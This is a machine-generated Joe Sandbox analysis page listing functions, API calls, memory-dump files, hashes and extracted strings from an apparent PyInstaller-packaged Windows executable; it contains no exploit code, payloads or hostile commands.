Associated: 00000008.00000002.1953052763.00007FFBAA4DA000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa4b0000_program.jbxd

Similarity

API ID: 00007B591
String ID:
API String ID: 3188357925-0
Opcode ID: 873bee83d26bb22448dbf471aac8a50e4fa8fbbbc7f86af2be037ffaac8cadb3
Instruction ID: d98de50822f4f6c68758788cdb4ef13cf550c9adfdc4593f5201192fef1f7e7a
Opcode Fuzzy Hash: 873bee83d26bb22448dbf471aac8a50e4fa8fbbbc7f86af2be037ffaac8cadb3
Instruction Fuzzy Hash: 8E419662A0AB42C2EA568F32E44437963A8FF59B90F484571FD5D07BD4EF3DE446C610

Function 00007FF72C657F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF72C65803A

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 0748e9379ee1a24a6dd361f3a2547f707c71d81643cc4b02aa9d5a9a64da41ab
Instruction ID: 0d6c5bf25cbbd315964dbcc9a4990ae0d34bc11159dc6c2776a6e7451cc13498
Opcode Fuzzy Hash: 0748e9379ee1a24a6dd361f3a2547f707c71d81643cc4b02aa9d5a9a64da41ab
Instruction Fuzzy Hash: 0021E721B5865246FA52BB226D043BAE652FF59BE4FE84434EF0C07B86DE7DE441CB10

Function 00007FF72C66B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66B9C2

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: b3ffcdc2ea8637889cabde6186c1adbce4fd9242ccead691b6bb038f74b24c3b
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: 8B313D22A1864285E612BB558C4137CB6A2FFA1BB4FE14239E95D077D2CE7CA4419F21

Function 00007FF72C665F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C665EF9

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 5b0f5432e87c91338271815ebe442a583a7df5e68f8bee1df1fb53b5ba528f3c
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 20118431A1C64281EA62BF11980117DF672FFA5BA4FE44439EB4C57A96CF3DE4414F60

Function 00007FF72C676354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C676377

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 5c1c71568547bf9acd071346c80e0db66393377e80d0c22d7bd9bb91f2029a27
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 1D210732618A4286DB22AF18D841379B3A2FBA4B70FA44638E75D476D9DF3CD415CF10

Function 00007FFBA60EF070 Relevance: 1.6, APIs: 1, Instructions: 303COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFBA60EF1C3

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 8603938ac5e1fbf28ba7d9b8f40a04eb8b77d7e104ff7c3c46d49aacb8bdd123
Instruction ID: c083d1ae33a60aedd50c8f594188eae4d7089a59f58a366a1044337c3506ab44
Opcode Fuzzy Hash: 8603938ac5e1fbf28ba7d9b8f40a04eb8b77d7e104ff7c3c46d49aacb8bdd123
Instruction Fuzzy Hash: 7A21A4F2E0A79289F7769E35E88127926A2EF11F44F284435DE4C42695DF38E8E1C611

Function 00007FF72C6603BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C660410

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 88af2b9d623369b6d1cd895eab9ed39b027310b3992d6538d0e58b66fffe3d1f
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 97018221A0874180EA16EB529D01079F6A2FFA5FF0FA84679DE5C13BD6CE3CD4118B54

Function 00007FFBAA4B7700 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

00007FFBAA5AD8D8.PYTHON313 ref: 00007FFBAA4B777A

Memory Dump Source

Source File: 00000008.00000002.1952893577.00007FFBAA4B1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFBAA4B0000, based on PE: true

Associated: 00000008.00000002.1952857331.00007FFBAA4B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4D7000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953017597.00007FFBAA4D8000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953052763.00007FFBAA4DA000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa4b0000_program.jbxd

Similarity

API ID: 00007
String ID:
API String ID: 3568877910-0
Opcode ID: 95c5e0d44eb7a0b8d4589eac1939111dc9409e4064ba8ad035682a0dd4f1a0ba
Instruction ID: ad12827484adbacb03c790a92c0e694666959d612ed8e430ae58e1fe06757903
Opcode Fuzzy Hash: 95c5e0d44eb7a0b8d4589eac1939111dc9409e4064ba8ad035682a0dd4f1a0ba
Instruction Fuzzy Hash: 12111B62A0B642C7EB5A9F76E5543783368EF44B55F185470EE0E426A0CF3CF4968360

Function 00007FF72C658E80 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72C659390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF72C6545F4,00000000,00007FF72C651985), ref: 00007FF72C6593C9

LoadLibraryExW.KERNEL32(?,00007FF72C656476,?,00007FF72C65336E), ref: 00007FF72C658EA2

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction ID: f597c73dcd1af4e5b639807fa376710d3efcf5fd245a144cd4f7a46256896b84
Opcode Fuzzy Hash: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction Fuzzy Hash: DBD08C01B2424642EA45B767BA466399252FBD9BD0F988035EE0D03B4ADC3CC0414B00

Function 00007FFBAA496BEC Relevance: 1.5, APIs: 1, Instructions: 19networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FFBAA496C1B

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f75e51da77dfc1082f19fe342fcab0b157519f4804096b52c81e4ca3d592fddb
Instruction ID: 4162956c79efd7461350ef72fd0c20d8b65e5672d72018b42e00aac1e4434702
Opcode Fuzzy Hash: f75e51da77dfc1082f19fe342fcab0b157519f4804096b52c81e4ca3d592fddb
Instruction Fuzzy Hash: 8CE04FF2A15A45C2E7145B66E0856687364F719FB4F245721DE380B3E0DE38D5E2C740

Function 00007FFBA609EF30 Relevance: 1.3, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(?,00007FFBA609EE5D), ref: 00007FFBA609EF61

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 508d3c56008b8407d9579c500c6569aa09f18e491ddf20235239c49dae927103
Instruction ID: 88106610d9e9ddefa7e9372e71a10f33df6a79a71324e5918afd1904ac9da72a
Opcode Fuzzy Hash: 508d3c56008b8407d9579c500c6569aa09f18e491ddf20235239c49dae927103
Instruction Fuzzy Hash: 272181B2B0878086D3649B32E58026EB2A6FB84F84F144035EF9843F95CF3CD4A1CB00

Function 00007FFBA6091DF7 Relevance: 1.3, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFBA60EF1C3

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 9e1f5a9259e0aa48b60180f011c1c6fd63c9391dcfad61ef29b2cdf2ae2c5ec5
Instruction ID: c2b13c29c57f7c45fd851c90f2bed2bb1a2171ce4c8cff3adb160299278bbfc2
Opcode Fuzzy Hash: 9e1f5a9259e0aa48b60180f011c1c6fd63c9391dcfad61ef29b2cdf2ae2c5ec5
Instruction Fuzzy Hash: 4521AEF2E0B25285FB76AE35E8C127922A2EF50F44F288435ED0D46695DF3CE8E1C611

Function 00007FF72C66EB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF72C66B32A,?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A), ref: 00007FF72C66EBED

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: af1b5697a959bb7637e601919f99bef49b76924b6adf7a91745dae5e59c700d1
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: 26F04F58B0928240FE5B76B59D552B4E2A2FFA8B60FEC4538C90F462C1DD1CE4804A30

Function 00007FF72C66D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF72C660C90,?,?,?,00007FF72C6622FA,?,?,?,?,?,00007FF72C663AE9), ref: 00007FF72C66D63A

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 3cdae481fe8222b867514f97429f4788fea26aad7f90dec245290c66738413e8
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 7BF0DA50E0924645FE5676725C51675A1A2EFA47B4FA84638DD2E866C2DD2CA4808A30

Non-executed Functions

Function 00007FF72C6589E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72C659390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF72C6545F4,00000000,00007FF72C651985), ref: 00007FF72C6593C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658A56

Part of subcall function 00007FF72C66A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66A490

Part of subcall function 00007FF72C66871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C668783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658AE6
CreateProcessW.KERNEL32 ref: 00007FF72C658B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658B28

Part of subcall function 00007FF72C652C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652C9E
Part of subcall function 00007FF72C652C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652D63
Part of subcall function 00007FF72C652C50: MessageBoxW.USER32 ref: 00007FF72C652D99

RegisterClassW.USER32 ref: 00007FF72C658B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658B8B
CreateWindowExW.USER32 ref: 00007FF72C658BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658C15
PeekMessageW.USER32 ref: 00007FF72C658C39
TranslateMessage.USER32 ref: 00007FF72C658C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658C51
PeekMessageW.USER32 ref: 00007FF72C658C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658E04
GetExitCodeProcess.KERNEL32 ref: 00007FF72C658E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF72C653F7F), ref: 00007FF72C658E2F

Strings

Failed to create child process!, xrefs: 00007FF72C658B30
PyInstallerOnefileHiddenWindow, xrefs: 00007FF72C658B54
CreateProcessW, xrefs: 00007FF72C658B37
PyInstaller Onefile Hidden Window, xrefs: 00007FF72C658B95

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: aeca1c47379d912acac750598a1b9216697a077a5fed72815e5a2203fa9fd90c
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 48D19631A08A8386E711AF34EC552ADB7A2FFA47A8F900635DA5D43A94DF3CD149CB10

Function 00007FFBA66A5CBC Relevance: 24.9, APIs: 1, Strings: 13, Instructions: 364COMMON

Download Yara Rule

APIs

00007FFBBB58DDE0.VCRUNTIME140 ref: 00007FFBA66A5E55

Strings

<INVALID>, xrefs: 00007FFBA66A5F12
Registered ID, xrefs: 00007FFBA66A5ED9
<invalid>, xrefs: 00007FFBA66A6048
Unknown general name type %d, xrefs: 00007FFBA66A5DEE
%X:%X:%X:%X:%X:%X:%X:%X, xrefs: 00007FFBA66A6036
IP Address, xrefs: 00007FFBA66A5F55
failed to allocate BIO, xrefs: 00007FFBA66A5D1D
email, xrefs: 00007FFBA66A60CC
%d.%d.%d.%d, xrefs: 00007FFBA66A5F91
Invalid value %.200s, xrefs: 00007FFBA66A61BD
DNS, xrefs: 00007FFBA66A60C3
DirName, xrefs: 00007FFBA66A6069
URI, xrefs: 00007FFBA66A60BA

Memory Dump Source

Source File: 00000008.00000002.1951835790.00007FFBA66A1000.00000040.00000001.01000000.00000014.sdmp, Offset: 00007FFBA66A0000, based on PE: true

Associated: 00000008.00000002.1951780580.00007FFBA66A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66C1000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CA000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952036399.00007FFBA66D1000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952071427.00007FFBA66D3000.00000004.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba66a0000_program.jbxd

Similarity

API ID: 00007
String ID: %X:%X:%X:%X:%X:%X:%X:%X$%d.%d.%d.%d$<INVALID>$<invalid>$DNS$DirName$IP Address$Invalid value %.200s$Registered ID$URI$Unknown general name type %d$email$failed to allocate BIO
API String ID: 3568877910-4109427827
Opcode ID: 3a8733b9f8724a0ad4dac92debb2868cdbdf7ad001dd02e936b03acc83697b27
Instruction ID: 89f261e03de25a7649daa42dd67d51b32bc6a40bb40710381cf89c87622bb45b
Opcode Fuzzy Hash: 3a8733b9f8724a0ad4dac92debb2868cdbdf7ad001dd02e936b03acc83697b27
Instruction Fuzzy Hash: EFF18FE1A0A68282EA568B39DD642B977B2BFA4F41F446435CE5EC3694DF3CE404DF10

Function 00007FFBAA4C37E0 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBAA4C37FC
00007FFBBB591A90.VCRUNTIME140 ref: 00007FFBAA4C3820
RtlCaptureContext.KERNEL32 ref: 00007FFBAA4C3829
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBAA4C3843
RtlVirtualUnwind.KERNEL32 ref: 00007FFBAA4C3884
00007FFBBB591A90.VCRUNTIME140 ref: 00007FFBAA4C38B7
IsDebuggerPresent.KERNEL32 ref: 00007FFBAA4C38D8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBAA4C38F5
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBAA4C3900

Memory Dump Source

